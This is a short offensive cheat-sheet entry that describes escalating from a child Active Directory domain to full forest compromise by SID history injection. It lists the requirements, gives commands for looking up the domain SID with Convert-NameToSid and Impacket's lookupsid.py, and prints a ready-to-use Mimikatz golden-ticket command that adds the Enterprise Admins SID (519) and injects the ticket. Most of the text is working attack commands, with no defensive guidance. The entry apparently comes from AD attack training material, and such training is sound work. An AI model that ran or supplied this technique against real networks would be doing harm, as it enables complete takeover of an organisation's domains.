Child Domain to Forest Compromise - SID Hijacking

Most trees are linked with dual sided trust relationships to allow for sharing of resources. By default the first domain created if the Forest Root.

Requirements:

• KRBTGT Hash

• Find the SID of the domain

  $ Convert-NameToSid target.domain.com\krbtgt
  S-1-5-21-2941561648-383941485-1389968811-502
  
  # with Impacket
  lookupsid.py domain/user:password@10.10.10.10

• Replace 502 with 519 to represent Enterprise Admins

Exploitation:

• Create golden ticket and attack parent domain.

  kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt

References

• Training - Attacking and Defending Active Directory Lab - Altered Security